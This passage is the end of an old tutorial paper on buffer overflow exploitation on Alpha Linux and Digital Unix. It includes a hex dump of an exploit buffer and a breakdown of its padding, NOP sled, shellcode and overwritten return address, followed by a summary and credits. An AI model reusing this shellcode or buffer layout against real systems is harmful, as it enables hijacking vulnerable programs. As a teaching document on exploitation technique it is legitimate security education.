  88004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  89604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  91204 ff 47 30 15 d9 43 11 74 f0 47 12 14 02 42 fc..G0..C.t.G...B.
  928ff 32 b2 12 94 09 42 fc ff 32 b2 ff 47 3f 26 1f.2....B..2..G?&.
  94404 31 22 fc ff 30 b2 f7 ff 1f d2 10 04 ff 47 11.1"..0........G.
  96014 e3 43 20 35 20 42 ff ff ff ff 30 15 d9 43 31..C 5 B....0..C1
  97615 d8 43 12 04 ff 47 40 ff 1e b6 48 ff fe b7 98..C...G@...H....
  992ff 7f 26 d0 8c 73 22 13 05 f3 47 3c ff 7e b2 69..&..s"...G<.~.i
10086e 7f 26 2f 62 73 22 38 ff 7e b2 13 94 e7 43 20n.&/bs"8.~....C
102435 60 42 ff ff ff ff 30 f5 ff 1f 015`B....0....

0 ~ 2
The padding data. It's for alignment. 0, 1, 2, or 3 padding characters are
needed to align the instructions.
3 ~ 914
nop instructions.
915 ~ 1030
shellcode.
1031 ~ 1038
return address. 0x000000001ffff530 ( "\x30\xf5\xff\x1f\x01\x00\x00\x00" )
Don't worry about last three '\0' characters. Almost all cases the last
three characters are '\0'.
----------------------------------------------------------------------------

9. Buffer overflow exploit in the digital unix
The exploit code in this paper works well in the digital unix, too.

10. Summary
This paper explain the buffer overflow exploit technique in the alpha linux.
There are many administrators who doesn't worry about the buffer overflow bug
because he(or she) administrates not intel x86 linux but alpha linux.
In addition, some people think that the buffer overflow exploit is impossible
in the alpha linux. However, it's possible.
DON'T BELIEVE THAT BUFFER OVERFLOW EXPLOIT IS IMPOSSIBLE IN THE ALPHA.


11. References
Alpha Architecture Handbook
  http://ftp.digital.com/pub/Digital/info/semiconductor/literature/alphaahb.pdf

12. Etc
Sorry for my poor English. :(

Written by Taeho Oh ( ohhara@postech.edu )
----------------------------------------------------------------------------
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )http://postech.edu/plus
PosLUG ( Postech Linux User Group )http://postech.edu/group/poslug
----------------------------------------------------------------------------


 ------------------------------------------
 Special thanks to all of PLUS members. ^_^
 ------------------------------------------


  -----------------------------
  Special thanks to awkn`n. ^_^
  -----------------------------



-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------


 
 
[] [返回上一页] [打 印]